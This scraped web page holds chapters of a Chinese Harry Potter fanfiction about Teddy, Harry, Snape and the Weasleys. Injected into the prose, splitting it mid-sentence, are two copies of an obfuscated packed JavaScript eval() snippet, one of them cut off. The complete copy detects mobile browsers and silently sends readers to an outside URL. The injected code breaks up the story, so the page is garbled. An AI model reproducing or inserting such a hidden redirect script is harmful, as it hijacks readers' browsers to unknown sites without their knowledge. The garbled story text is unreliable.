约莫过了半分钟时间,指针转动的速度才逐渐缓慢下来,首先停下的是代表斯内普的指针,正正指向“安全”。 成功了! 虽然泰迪还是没搞懂缺少魂丝的挂表为什么会自动运转,但现在兴奋过度的他完全忽略了那点不合理的小事。 可未等他松口气,哈利的指针却堪堪过了“安全”的刻度,最终停在“生命危险”的位置上。 生命危险?哈利? 泰迪的心犹如被无形的手攥紧了,又好像血管里流动的血液在瞬间被冻结。 思维呆滞了足足几秒,他蹭地跳起来,疯了般使劲甩着手里的挂表,好像这样就能纠正挂表上“错误”的显示。 大口喘着粗气,泰迪几乎没有勇气再往那里看一眼。 他刚刚一定是看错了。没错,他只是眼花,哈利前几天才让海德薇带信回来报平安,怎么可能转眼间就遇到生命危险。 然而,静静悬空的太阳浮影,及坚定地指向“生命危险”的指针,简直就是对他徒劳尝试的绝妙讽刺。 脑海里响起一个小小的、熟悉到厌恶的声音,“难道你不是早有预感吗,孩子。” “这不可能!”泰迪无意识地抱着头,内心的恐惧不断膨胀,最后爆发成不受控制的尖叫。 书房的门砰地开了,站在门口的是一脸傻笑的罗恩,他手里拿着一根一看就是中古货的飞天扫帚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不安地在后排位置上挪动了几下,泰迪曾经听哈利说过麻瓜汽车,但真正坐进去还是第一次。若是在平时,也许早被新鲜劲冲昏了头。可现在—— “哪个方向?泰迪。”乔治回过头问道。泰迪捏紧裤袋里的挂表,沉默片刻后伸手往东南方指去——那是科洛斯山谷所在的方向。“应该是那边。” 乔治吹了个口哨,“我要踩油门了。大家坐稳。”汽车猛地加速,朝高空冲去。 泰迪摇下车窗,阵阵晚风把他的头发吹乱,他呆呆地望着远处,完全没有心情去欣赏夜空的景色。 “别担心,伙计。我们都知道佩弗利尔教授……呃……有多厉害,他……不会出事的。”罗恩结结巴巴地安慰他,可说完后又觉得没什么说服力,懊恼地抓着自己的头发。 “泰迪,你肯定这个方向是对的?”汽车在空中飞了好一段路后,弗雷德一只胳膊搭在椅背上,转过身来问。 “嗯。”泰迪此时已经把挂表掏出来放在膝上,就在刚才,指针终于换到“受伤”的位置,但这成不了安慰。强迫自己不去想像哈利可能浑身是血的样子,泰迪说,“感觉越来越强烈了,我怀疑哈利应该在家里,我家就在这个方向不远处。” 前排的双胞胎交换了个迷惑的眼神,“太不可思议了。你是……怎么感觉到佩弗利尔教授在那里的?”乔治兴味十足地问。 泰迪茫然的表情也不比他们好到哪儿去,“我也觉得奇怪,我拿着这块挂表的时候就会——”他忽然想起韦斯莱夫人的话,“难道是魂丝的作用?可韦斯莱夫人说过那不可能……”他沉默了,万一偏偏让他遇上了呢?只是,这魂丝是哪儿来的? “魂丝是什么?”罗恩看看陷入沉思的泰迪又看看双胞胎,见没人搭理他,便叫道,“谁可以告诉我——”,乔治挥手打断了他,“弗雷德,你有没有觉得这辆车从刚才起就在原地徘徊?” 弗雷德神色也凝重起来,“的确,周围的景色一直没变过。我们好像在原地踏步。” 泰迪也意识到不对劲,把脑袋凑前问,“会不会是没油了?”他记得哈利说过麻瓜的汽车是用什么油发动的。 “这是爸爸的车,不用麻瓜汽油的,他在上面加了魔法。”弗雷德解释道,他指指仪表盘上的指南针,“乔治,你要不要先换个方向试试看?” “好。”乔治转动了方向盘,车头开始往右转,而意想不到的事发生了——仿佛狠狠地在坚硬的墙壁上撞了一记,车身猛烈震动起来。 “怎么回事!”罗恩惊恐地尖叫。 “不好,碰到魔法障碍了!”一片慌乱中,乔治只来得喊这么一句,汽车猛然下坠。 32. 现实与过去的交替 脚步声由远而近。 片刻后,咿呀一声,斯内普推门而入。 一束荧光自魔杖尖亮起,黝黑无光的眼睛飞快扫过整个房间,待确定里面除了他和床上躺着的那个人外并无他人,才稍稍放下脸上冰冷的防备。 他径直走过去,直挺挺地站在床边,注视着昏睡中的哈利·波特。 显然这并非愉快的睡眠。哈利的脸暴露在荧光下,几乎失去所有的血色,而他的胸膛正吃力地起伏着。 斯内普眉头微不可见地皱了皱,随即恢复平时的冷漠。 荧光脱离魔杖尖缓缓而升,照亮房间的每个角落。 动作不怎么轻柔地扯开哈利的衣襟,斯内普把魔杖贴近他的胸口,紧接着开始低声吟诵冗长而古老的魔咒。银白色的光自魔杖尖如烟雾般袅袅升起,缭绕着哈利的身体,不久白光便把他全身上下裹个严严实实。 白光持续了约摸十来分钟时间,随后逐渐褪去,斯内普停下口中的吟诵,俯身专注地观察哈利的情况。 哈利原本痛苦的呼吸已经变得轻柔,面色也不如先前般苍白,而显得平和安稳。 可仍是没有醒来的迹象。 斯内普眼中掠过一抹深沉的阴霾,看不出他对这种结果究竟是否失望,仅是从紧抿的薄唇间挤出一句,“愚蠢透顶。” ………… 哈利的脸倒映在绿色液面上。 “那么多岩洞找起来可不好玩,看来伏地魔是真的糊涂了。”他得出结论。 “随便你和邓布利多两人在谈小秘密时把那个人的名字翻来覆去地叫,但不要在我面前直呼他的姓名!”身后传来斯内普咬牙切齿的声音。 转头瞪了他一眼,哈利假笑道,“很好,你那位黑魔王大人——”他瞥瞥那无法用手碰触的绿色液体,“明明知道哈利·波特的大名,却不知道把自己的魂器藏哪儿了。难怪小克劳奇找了一年也就找到两个。”哈利的语气中难得透出讥讽,“该不会是得了麻瓜常见的老年痴呆症吧?” 显然以前大概在哪里听说过这种病症,斯内普的嘴角微微抽动一下。 “你认为他是从未来回来的吗?”两人沉默了一阵,斯内普主动开口问道。 哈利耸肩,魔杖一挥,一只高脚酒杯凭空出现,他伸手把它抓在手里,“毫无疑问,是的。尽管我对此深表怀疑,他居然忘了魂器的隐藏地点,也不记得你是我们的间谍,而不是他的得力助手。” 斯内普的瞳孔猛烈收缩,而哈利正好转头看他,两人的目光短暂交汇后,斯内普艰难地说,“他或许是在演戏。” “他不会让任何信不过的人呆在自己身边,即使是演戏。”哈利把高脚杯放入晶莹剔透的液体中,待得它装了满满一杯,便举到嘴边,“记得我刚刚和你说过的。” “这个魂器是假的。”斯内普脸色难看地盯着酒杯里的液体。 “但伏地魔不知道,我们,也‘应该’不知道。”哈利若有所思地晃着酒杯,仿佛里面盛满的是美酒而不是毒药,“反正这药水喝不死人,总得有一方做戏给另一方看。”沉吟片刻,他又说,“等这件事完了,我去向伏地魔‘报告’,而你去联系下邓布利多,我想我们来得及把克利切手里的挂坠抢先夺回来,还能拖延点时间。” 听到这句话,斯内普用咄咄逼人的视线逼视他,冷哼一声,“带假的魂器回去,你打算独自承受黑魔王的怒火?我深切怀疑我该预先买副棺材准备替你收尸。” 哈利大笑,“我只是有些疑问,正好趁着这个机会再去试探试探。不过趁早来,我可不想在伏地魔面前挺尸。”他朝斯内普举举酒杯,嘴角一勾,“祝你收尸顺利。” 他一饮而尽。喝尽最后一滴的那一刻,脸上平和的神情被痛苦取而代之。斯内普表情没有变化,手心却不自觉地攥得生疼,默默地看着哈利强忍药水的诅咒带给他的影响,硬是灌了四杯,终于似乎是忍受不住,踉踉跄跄地扑倒在地。而拿着空杯子的手也无力地松开,落下的酒杯在地上打了个滚。 早有准备的斯内普大步向前,拾起掉落在地的高脚杯,走到石盆边重新舀了杯药水,然后蹲下来递到哈利嘴边,“喝了它。” 哈利紧紧闭着眼睛,仿佛正在噩梦中挣扎,一边无意识地摇头,挥手推开酒杯,“不……我不想喝了……不要逼我……” 从未见过的哈利神志不清、甚至虚弱至此的模样,不知为何斯内普心里莫名地恼火起来。 “你必须喝了它,波特!”斯内普缺乏耐心地咆哮,一手拽过哈利的头,防止他再往后退,并顺势把药水统统灌进他嘴里。 哈利猛烈咳嗽起来,斯内普任由他蜷缩在地上,又舀了一杯新的药水回来。这次他甚至懒得动嘴皮,动作粗鲁地把哈利从地上拉起来。“不要……放过我……”哈利发颤的手抱着头,像个孩子般小声呻吟着。“你喝完了,我就放过你。”说着,斯内普把药水一股脑倒进他微微张开的嘴里。 凄厉的尖叫声在洞穴里回荡,随之哈利伏地抽泣,“都是因为我……别夺走他们……哦,停止吧……我受不了了……” “够了,波特!没人要从你那里夺走任何人!”斯内普喘着粗气,嘶哑着声音吼道,“记着你是来干什么的!”他再次把杯子硬塞到哈利嘴边,这次哈利乖乖张开嘴把药水尽数喝下去。斯内普隐隐松口气,但药水带给哈利的痛苦并没有得到缓解,他一喝完就惨叫起来。 已经记不清到底舀了多少次药水,每多喝一杯,哈利就愈加痛苦一分,挣扎也越强烈。斯内普得费好大的劲才能制住他,强迫他一次次地喝下药水。当石盆终于见底之时,斯内普抓起盘绕在盆底的挂坠,并随手把高脚杯丢进去。而哈利动也不动地倒在地上,脸上一片死灰之色,那模样不比死人强多少。 见到这幅光景,斯内普有点维持不住表面的平静了,“波特?” 哈利的眼皮微微颤动,有那么一瞬间,斯内普好像看到他胸口处有一点红色亮光在闪烁,可等他再仔细看去时,那点红光已经无影无踪了。 没有去在意那红光究竟是什么,斯内普居高临下地俯视开始恢复神智的哈利,冷峻而复杂的眼神让人无法猜透他内心的想法。 “斯内普……”哈利咳了两声,用尽力气撑起身子,仰头望向斯内普,声音沙哑,“得手了?” 把手里的挂坠扔到哈利面前,斯内普尽量使自己的声音显得漠不关心,“只要你不再装死,我们就可以尽快离开这里。” 哈利虚弱地笑笑,拾起挂坠塞进自己的口袋里,找了个位置费力地把身体靠上去,“反正我也不指望你会安慰下为正义献身的我。那么接下来靠你了,反正我是没力气了。” 斯内普狐疑的眼神向他扫来。 “比如说你身后那个。” 哈利话音刚落,一股阴凉的寒意在斯内普背后升起,同时五只冰冷彻骨的手指贴上他脖子上的皮肤。 斯内普瞬间反应过来,迅速地拔出魔杖,团团烈火从魔杖尖喷出,只见一个浑身冒火的阴尸犹如受到重击,怪叫着被甩出老远。 “波特,你是故意的!”颈后残留的黏糊糊的感觉让斯内普在心里把波特一家人都诅咒了个遍,也许除了莉莉。 迎来的却是哈利无辜的表情,尽管损伤严重的他说话时还是有气无力的,但却透着轻松,“我也是才发现的,没看我头昏眼花到眼前的是人还是阴尸都分不清了吗?”他煞有其事地补充一句,“药水的后遗症,我想。” 说完他拔出魔杖向从另一边爬来的阴尸们发出一团火焰,恰好避开斯内普的怒视。瞧斯内普的眼神,要不是石盆已经空了,说不准还会再给他灌上几杯。 接着,他忽的感到身体一轻。 “你干什么?”哈利惊恐地发现斯内普拉起他的手臂搭在自己肩背上。 “闭嘴,否则我会考虑把你那不知好歹的嘴封起来。”斯内普一手架着他,一手向周围释放出更多火焰,“不想把小命丢在这里就乖乖跟我走。” 哈利呆愣了几秒,忽然觉得很好笑。有斯内普在旁边,他会死吗? …… …… 斯内普在哈利的房间里又停留了几分钟。 挂坠被掉包的事实,让黑魔王给予“小克劳奇”的惩罚比想像中更严重。他们两个都低估了伏地魔变幻无常的性情。至少当他联系完邓布利多,以最快的速度赶过去时,他差点以为躺在伏地魔脚下那个几乎没了呼吸的人是个死人。 斯内普镇定地告诉自己,哈利·波特还活着,又镇定地向伏地魔汇报最近邓布利多的“动向”,最后镇定地把“小克劳奇”带离伏地魔的视线。 等他把随时有可能断气的那个人带回自己家后,他的冷静崩溃了。 该死的!不过是一个波特,他在慌个什么劲?不,他绝对不承认自己居然有些担心。没门,一点都别想指望。 可是—— 如果现在快死的人是詹姆斯·波特,或者是另一个哈利·波特,他不敢肯定自己是否还会像现在这样惶乱,而不是去开一瓶收藏已久的葡萄酒来庆祝。 和自己的心理斗争很久,他迫不得已地把哈利送回睿瓦纳塔里,那里至少有人能一天二十四小时照顾他。 哈利足足昏睡了两天。 在受到药水的侵害,体内的损伤还没恢复就立刻又被伏地魔折磨了整整一天,他还能有口气就已经是梅林保佑了。 即使斯内普一天两次给他施治疗咒,哈利身体里的伤害应该治愈得七七八八,可他还是没有醒来。 斯内普抿紧嘴唇,最后又看了眼睡得还算安稳的哈利,转身离去。 ………… 哈利撑开沉重的眼皮,头痛欲裂。 又做噩梦了。 他坐起身,捂住隐隐发痛的头。 真实得残酷的梦境,他猜,那就像是一段几乎被遗忘的记忆。他在梦里痛苦得发狂,可只要他一醒来,梦境就随之消散,不留一丝痕迹。经过数次徒劳的尝试后,他听从了庞弗雷夫人的劝告,不再试图去回想那个纠缠了他好几个月的噩梦。 那只是噩梦罢了。他冷冷地说服自己。 哈利打了个哈欠,起身拉开窗帘。太阳已经高照,少了窗帘的阻隔而冲进来的刺眼阳光让他不得不先闭眼习惯一下。习惯性地去床头柜摸眼镜,什么也没摸着,这才想起他好几个月前就不需要戴眼镜了。 “长袍飞来。”哈利懒洋洋地说。 砰——!黑色的长袍犹如子弹般飞来,把墙壁撞出了一个深陷进去的洞。 “哦,见鬼。我又忘了控制力道。”哈利无语地一拍额头。 好不容易把长袍从洞里扯出来,这回哈利用轻得不能再轻的声音,小心翼翼地用了个恢复如新咒修补那可怜的墙壁,然后就是穿衣洗漱。哈利第N次放弃把自己乱糟糟的黑发梳理整齐,搔着脑袋走进厨房。桌子上剩下的半根面包和一小盘黄油就是早餐。他悠闲地啃着面包,刚泡好的咖啡的飘香刺激着鼻膜,手里则是一份最新的预言家日报,上面标的日期是“2000年7月30日”。 又是新的一天。 “赫敏!赫敏!”门口传来守门鹦鹉的啼叫声。 “知道了。”哈利放下报纸,走过去塞了块面包堵住它的嘴,打开门对赫敏微笑,“早。” “已经不早了,哈利。”一身职业服装的赫敏显得精明能干,“方便让我进去么?” “当然。”对于自小的好友赫敏,哈利不用讲究什么外表礼仪,微微侧身便让她进去了。 待他关上门回到客厅时,赫敏正对着里面的一片狼藉狂皱眉头,“你多久没打扫房间了?哈利?” “呃……”哈利尴尬地搔搔脑袋,“这阵子食死徒余党又开始活跃,傲罗司天天忙得不可开交,我回来一般是累得倒头就睡……所以——” 赫敏翻翻白眼,“你还记得你是个巫师吗?收拾客厅连一分钟都不用。” 哈利耸耸肩,“你忘了我最近控制不好魔力?我要用魔法来收拾房间,说不定结果会制造出个龙卷风把我的房子都吹走。” 赫敏噗嗤一声笑了,“我倒真是忘了。可你不是在接受训练了吗?” “那训练没什么用,一不留神就会失去控制。”哈利边说边试图把堆满书本和报纸的沙发清理出一块干净的角落来,“不过对食死徒用起来倒是挺方便的,不用怕威力不够。” “别忙了,我来吧。”赫敏挥舞魔杖,不一会儿便把整个客厅收拾得井井有条。她随后瞄到厨房里还没吃完的早餐,“你刚起来?” 哈利点点头,示意她坐下,“难得有个放假的周日,就睡晚了点。” 赫敏关切地看着他,“那么那个噩梦呢?最近还会梦到吗?” “嗯,不过习惯了。”哈利含混不清地应道,故意不去看赫敏审视的目光,清了清喉咙便转移话题,“你找我有什么事吗?” “我想让你看看这个。”赫敏见他刻意避开谈论那个梦,也不多说什么。她从自己的公文包里掏出一叠文件,顿了下后递给哈利。 接过那叠文件,哈利才草草看了前几行,就狠狠地甩到茶几上,“那班可恶的老顽固!” “我就知道你会这么说。”赫敏叹道,“我和麦格教授都尽力了,可他们说——” “西弗勒斯·斯内普是个半途抛弃学校的懦夫,还曾经是黑魔王的手下,他失去了在校长室立起自己画像的资格。”哈利模仿着某个校董会成员那尖酸刻薄的腔调,显然并不是第一次听到这种言论了。他的火气被彻底挑了起来,“懦夫?他是我见过的最勇敢的人!”厨房里的咖啡杯在他的怒吼下炸成碎片,咖啡溅满一桌。 赫敏惊恐地往厨房看去,“哈利,冷静下来,我们都知道——” “去他的冷静!我就是一直以来太冷静了才会不被他们放在眼里!”哈利猛地跳起来咆哮。 砰——!这次是墙角的花瓶遭了殃。 “那些除了会聚在一起喝下午茶外一无所成的老古董,邓布利多失势的时候他们在做什么?落井下石!我们在出生入死对抗伏地魔的时候他们又在做什么?躲在自己的家里发抖!现在和平了,他们又出来卖弄资格了。他们凭什么阻碍一个英雄得到他应有的荣誉?但愿食死徒今天就会去拜访他们!我会等到他们拜访完了再去抓的!” “哈利,你太激动了,这不像你的作风。”赫敏被他吓住了,“你不觉得一牵涉到斯内普教授的事你就像被踩了尾巴的猫似的吗?” 哈利忿忿地一屁股坐下,“不觉得。我觉得顶多是我十五岁时的火气又回来了而已。我还在辛辛苦苦抓食死徒,他们倒好,挂个肖像都不肯。不能绕过他们直接在校长室里挂上斯内普的肖像吗?” “不能,这是必经的程序,否则是不被大众承认的。”赫敏也满脸无奈,“可我们说服不了学校董事会的成员。就像你说的,他们就是些冥顽不灵的老古董。”大概是在他们那里受了一肚子憋闷,赫敏的语气也不怎么客气。 “赫敏,看来我得麻烦你再和麦格教授去见他们一次,我最近大概抽不出时间亲自去。就说——”哈利双手合在一起,望着天花板斟酌用词,“我,哈利·波特——唔,你到时候可以把我那些乱七八糟的头衔都加上去——迫切希望他们考虑,允许让西弗勒斯·斯内普的肖像作为历代校长画像被挂在霍格沃兹的校长室内。当然,我不介意运用我在巫师界的‘影响力’来制造点压力——前提是如果他们继续消耗我的耐心,并且认为晚年生活过于无聊。” 赫敏看着哈利的眼光就像在看一个陌生人,“哈利,你变了。”她摆摆手,又觉得自己用的词不大恰当,“呃,我是说你会威胁人了,不不不,当然不是说不好——” “赫敏,和这些老狐狸打交道,我不能总是傻头傻脑的。”哈利用极为邓布利多的语气说道。 “那么我周一再和麦格教授谈谈。”赫敏拿起文件,把烦恼的事都收进公文包里,随后露出幸福的笑容,“等会儿我会和罗恩去巫师婚纱店看看,哈利你要一起去吗?可以顺便给你和金妮以后做个参考?” 哈利笑着摇摇头,“不了,我答应唐克斯夫人上午去她家的。我快有两个月没空去看望泰迪,小家伙可能都快忘了有我这个教父了。” “那么下午呢?” “下午我和金妮约在帕笛芙茶馆见面。” “你们是该聚聚了。”赫敏一针见血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156370|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地指出,“都几个星期没见过了?罗恩昨天还在跟我抱怨呢。你现在简直就像把食死徒当成了恋人。” “那是,只不过和他们接吻的是摄魂怪。”哈利哈哈大笑,俏皮地眨眨眼。 赫敏一副被打败的表情,“还有,明晚记得去陋居。韦斯莱夫人替你准备生日宴会了。” 哈利温和地笑道,“我会的。” 半个小时后,哈利站在了唐克斯家门外。 当时对赫敏露出的笑容收敛得干干净净。哈利并不如表面看上去快活,甚至,他一点也不期待自己二十岁的生日。 但他知道这是他自身的原因,不值得让别人为他担忧。 所以现在,他又得微笑了。 轻轻地敲了敲门,门里面传来啪嗒啪嗒的脚步声。接着门被推开一条缝,一张稚嫩的小脸蛋从里面探出来,对哈利绽开最灿烂的笑容,“哈利——!” 对着眼前乖巧可爱的小家伙,哈利没法不真心展开笑颜。他俯下身,一把抱起泰迪,顺手捏捏他的鼻子,逗得小家伙咯咯笑个不停,“想我了没?” 泰迪重重地点头,兴奋地在哈利脸上啵了一口。然后又有点委屈地嘟着小嘴,稚声稚气地抱怨,“哈利好久不来看我了!” 摸摸他紫色的细软头发,哈利抱歉地说,“对不起,我最近太忙了。以后我会尽量多找点时间来陪你玩。” “真的?不可以骗我。”泰迪开心地尖叫。 “哈利?”一个穿着围裙的老妇人走了出来,那是唐克斯的母亲安多米达·唐克斯。 哈利微微点头向她致意,“早上好,唐克斯夫人。” “你越来越有你父亲当年的样子了。”唐克斯夫人把一杯奶茶放在哈利前面的茶几上,上上下下地仔细端详着哈利。 哈利让泰迪依偎在自己怀里睡觉,然后好奇地看向她,“您也认识我父亲的?从没听您提过呢。” 唐克斯夫人呵呵笑道,“我虽然比你父亲大了十几岁,但好歹我也是和小天狼星关系最好的堂姐,自然对他这个最好的朋友相当熟悉。别忘了我以前也是姓布莱克的,虽然嫁给泰迪的祖父后就被除名了。”她在哈利对面优雅地坐下,一举一动都体现出良好的贵族修养。 哈利对她笑笑,一时不知该怎么接口。 唐克斯夫人倒是不在意,自顾自地说下去,“我和小天狼星都可以算是家族的背叛者。他没有进纯血家族的象征斯莱特林,而我嫁给了麻瓜出身的巫师,不管哪一项,任何一个像布莱克家一样古老的纯血家族都会引以为耻的。” 默默地把玩着泰迪卷卷的头发,哈利在心里琢磨唐克斯夫人无缘无故对他说这些话的理由。 “纯血家族的根基过于庞大,即使现在有许多家族都渐渐迈向衰落,但短时间里他们在巫师界扎的根也不是你们新一代能拔起来的。仅仅打倒那个名字都不能提的人,更是不足以动摇他们的‘偏执’。” 哈利心中一凛,抬眼对上唐克斯夫人了然的目光。 “也许你在奇怪为什么我要对你说这些话。哈利,我知道你现在都在做什么,别急着反驳我,我的消息来源很可靠。我只是想提醒你,不要操之过急,也不要单靠一个人的力量,那太微不足道了。就算你是‘救世主’,要实现你想要的,我想要的,你父母想要的——”她和蔼的眼神落在酣睡的泰迪身上,“还有这个孩子未来想要的世界,都必须一步步循序渐进。” “不管怎样,我必须得说,你父亲有个好儿子,小天狼星有个好教子。”唐克斯夫人探过身子,意味深长地拍拍哈利放在膝上的手,“那么,哈利,你可以成为泰迪的好教父吗?” “唐克斯夫人?” “你可以保证在泰迪成年之前,作为他的监护人,给予他无微不至的呵护,守护他的成长吗?” “我——” “你可以发下誓言吗?” 在突如其来的严肃话题下,不安的情绪悄然袭来——唐克斯夫人的用意让哈利捉摸不透。可在保护泰迪这一点上,他没什么好犹豫的。所以他只是顿了顿,便真诚地说,“唐克斯夫人,作为泰迪的教父,我,哈利·波特,以梅林的名义、以及我自己的生命发誓我会尽一切能力守护他。只是……我不明白你的意思。” “我相信你的誓言,哈利。”唐克斯夫人眼光里包含深沉的感情,淡然地说,“要知道,有些巫师对生命的逝去是十分敏感的。我有种预感,我离那一天已经不远了。” 哈利不知道自己是怎么从唐克斯家出来的。 他的父母死了,教父死了,卢平夫妇死了,现在泰迪的祖母告诉他她也要死了。 这就是梅林提前送他的生日礼物? 揪心的失落感在上涌,哈利不敢、也不想去接受。 难道要他去想像泰迪如同他那样失去所有亲人的那一天吗? 浑浑噩噩地幻影移行到霍格莫德,哈利漠视一路上无数射向他的视线,恍惚地朝帕笛芙茶馆走去。 金妮已经等在里面,一个靠窗的位子上。 哈利的出现毫无意外地引来众多的注目,不少崇拜他的少男少女甚至一窝蜂挤上来请求和他握手。哈利几乎是麻木地和他们一一握手,直到手都酸了,才总算来到金妮的面前。 “嗨,哈利。”金妮动作潇洒地把红色的秀发甩到身后,笑着打招呼。早已褪去了少女的稚气,加入女子魁地奇队的她如今浑身充满了活力。 她仔细看了看彻底虚脱在对面座位上的哈利,“你脸色不好。” 哈利垂下眼睑,含糊地说,“没什么大不了,只是最近比较累。我们吃点什么?” 不赞同地对他皱皱眉,金妮叹道,“不,哈利,我不想吃东西,我约你在这里想告诉你——”她深吸口气,“我们分手吧。” 哈利猜想自己现在的表情一定很滑稽。 张大的嘴怎么也关不上,他几乎怀疑自己的耳朵出了毛病。“抱歉,你能再说一遍吗?” 金妮无奈地重复道,“我想我们最好分手,哈利。” “为什么?”哈利控制不住地高声问道,半个茶馆的目光都集中在他们这桌上,他左右看看,尴尬地压低声音,“我们不是交往得好好的——” 挥挥手阻止哈利继续说下去,金妮问,“我们多久没出来约会了?” 哈利沉默。 “我们上一次接吻是什么时候的事?” 哈利沉默。 “我生日那天你在哪里?” 哈利继续沉默。 “罗恩和赫敏已经在每天乐呵呵地讨论婚礼的准备了,我们呢?” 哈利终于沉默不下去,“可你知道——” “我知道。”金妮眼中闪过一抹自嘲之情,“说真的,决定和你交往时我就做好了心理准备。你没时间陪我,我理解。你忙得忘了我的生日,我理解。我们的婚礼遥遥无期,我也理解。” “既然你——” 金妮再次打断他,“问题就是,你真的爱我吗?” 怎么也没想到她会冒出这样一个问题,哈利愣住了。 “你在开玩笑吧,我怎么可能不爱你?” “是像恋人一样呢?还是当成妹妹来爱?” 哈利想回答说当然是恋人。可心里有个小小声音在阻止他说出口。 “你自己也没有发现吗?”金妮瞥了眼窗外,转过头来正视他,“罗恩最近对我说……” 茶馆忽然白雾弥漫,浓雾中哈利只能听到金妮断断续续地说,“……你的表现……梦……哈利……陷得太深……” 然后他自己在大吼,声音响彻整个茶馆,“那种事不可能的!你怎么能这么说?简直荒唐——” 窗外毫无预兆地掠过一道闪电似的亮光,紧接着一声巨响震碎了茶馆的玻璃。 …… 也震碎了梦境。 哈利猛然睁开眼睛,不过是两三秒的时间就完全清醒过来,心中陡地泛起一股不祥的预感。 “多比!” 啪的一声,一个家养小精灵旋即出现在床边,它深深鞠躬,用快活的声音尖声尖气地说,“佩弗利尔教授,您终于醒了。多比有什么可以为您效劳的?” 33. 多比的帮助 “我们现在该怎么办?”罗恩愁眉苦脸地看着地上那堆不成形状的烂铁——对比汽车的悲惨命运,他们四个还能四肢健全、活蹦乱跳的简直是种奇迹。 “为英勇就义的汽车哀悼。”乔治满不在乎地说,脸上看不出一丝歉意。 “顺便为我们自己哀悼。”弗雷德接嘴。 “为什么?”泰迪不解地眨眨眼。 弗雷德摸摸下巴,饶有兴趣的目光环顾四下黑沉沉的树林,仿佛他们不是遇险而是来旅游的。随后他嘴角掠过一抹恶作剧的笑容,“第一,如果我们被一直困在这里,说不定走两步就会撞进蜘蛛网的怀抱,成为守候已久的毒蜘蛛的美味佳肴。” 罗恩打了个寒噤,不自觉地往泰迪身后躲。 “第二,就算我们能平安回去,妈妈也会剥了我们一层皮的。” 这回罗恩和泰迪同时哆嗦了一下。 “不过你别担心——”乔治嬉皮笑脸地拍拍泰迪的肩膀,“妈妈疼你还来不及,百分之九十的可能性是她会把怒火全部转到我们身上,烤得我们外焦里嫩。” 弗雷德对此深以为然,“也许我们该考虑先去巫师儿童保护协会寻求庇护?” “妈妈会痛哭流涕的。”乔治转头看向泰迪,“伙计,你还感觉得到吗?” 泰迪愣了好一会儿才理解他的意思。匆忙打开紧握在手里的挂表,银色的半月浮影徐徐自表盘升起,对他露出慵懒的笑脸,可泰迪注意的不是这些——他惊讶地发现代表哈利的指针不知什么时候回到了“安全”的位置。 见泰迪久久不作声,弗雷德把头凑过来,用不确定的语气问,“这是不是说明佩弗利尔教授没事了?” 在大家充满疑问的目光中,泰迪重重地点了点头,只觉得几乎被冻结的血液再次欢快地在体内流动,甚至连周围原本阴森森的一切都变得可爱起来。他指着左边的方向,十分肯定地说,“在那边。” “很好,反正我们也分不清方向。我不介意赌博一次,但愿我们足够好运。”乔治从裤袋里摸出魔杖,“荧光闪烁。”魔杖尖顿时冒出一团蓝色的荧光。 “未成年巫师在暑假是不能用魔法的!”罗恩叫道。 “我们现在是处于紧急状况下,罗恩。”乔治故作严肃地说,“说实在的,我巴不得魔法部的人快点发现我们在哪里呢。” 于是,他们开始朝着泰迪指示的方向进发——乔治带头,起到指南针作用的泰迪随后,排在第三的罗恩探头探脑,弗雷德则跟在最后以防万一。 可在黑暗中约摸走了十分钟,别说魔法部的警告信件了,在深不透光的森林里,猫头鹰都见不到一只。 “早知道我该把海德薇带着。”泰迪后悔不已。 “小猪也行。”罗恩也低声咕哝,哈利送给他的猫头鹰已经被取名小猪了。 “别抱怨。”弗雷德给了他后脑勺一巴掌,“只要这片树林没什么危险的生物就该感谢梅林了。” 的确,四周静得异常。黑黝黝的枝蔓静静地垂在他们头上,偶尔自缝隙中洒下几束惨淡的月光,魔杖发出的微弱荧光也只能照亮身边的几棵树,其余的则仍然隐没在阴影里——说不清前方的黑暗中是否有潜藏的眼睛在注视着他们。 时间在一点点地过去,谁也没再说话,他们除了硬着头皮走下去,没有别的选择。而偶尔踩碎地上枯枝所发出的声响都会令毛骨悚然的感觉更加深几分。隐隐约约间,罗恩觉得有只手在拨弄他的头发,以为又是弗雷德在戏弄他,便不耐烦地甩甩头。可他的动作停下来不久,那只手又摸了上来,甚至开始扯他的头发。三番四次的反复捉弄下,罗恩火了,气鼓鼓地回头准备向弗雷德严正抗议—— 问题是,弗雷德不知什么时候走到了他侧前方,而他对上了一对大得出奇的绿眼睛。 “啊——!” 罗恩突如其来的尖叫——或者更确切点来说是惨叫——在一片寂静中格外的刺耳,把泰迪他们都吓得跳起来。一瞬间,每个人的视线都集中到罗恩身上。 只见罗恩浑身战栗、坐倒在地,惊恐的表情定格在荧光有限的照明下,好歹还记着用手指着半空中,虽然抖得跟风中凌乱的树叶似的。 泰迪几个跨步上前用劲把罗恩拉起来,弗雷德拔出魔杖挡在他俩前面,而乔治小心翼翼地把魔杖举高了些——首先暴露在光亮中的是如同金鱼眼一样突出来的绿眼睛,然后便是细长的鼻子及蝙蝠似的大耳朵。 那只小怪物不慌不忙地深鞠一躬,“晚上好,先生们。” “家养小精灵!”双胞胎异口同声地叫道。 “家养小精灵?”这个名词让罗恩神奇地停止了颤抖,而泰迪脑袋一偏,疑惑地拧起眉头。 乔治和弗雷德交换了一个狐疑的眼神,手上的魔杖没有放低半分——显然是摸不准眼前这个家养小精灵会出现在这种荒山野岭的原因。 可出乎意料的,小精灵的表现比他们热切得多,大得像小灯笼般的眼睛闪着亮光,“别紧张,先生们,多比是来帮你们的!” “多比?帮我们?”弗雷德怀疑地重复,“我们不认识叫多比的家养小精灵,更别提我家的金加隆加起来可能还没十枚,怎么可能养得起小精灵。” “不对!”罗恩伸着脖子叫道,声音还带着点不自然的尖厉,“它穿的是衣服!” 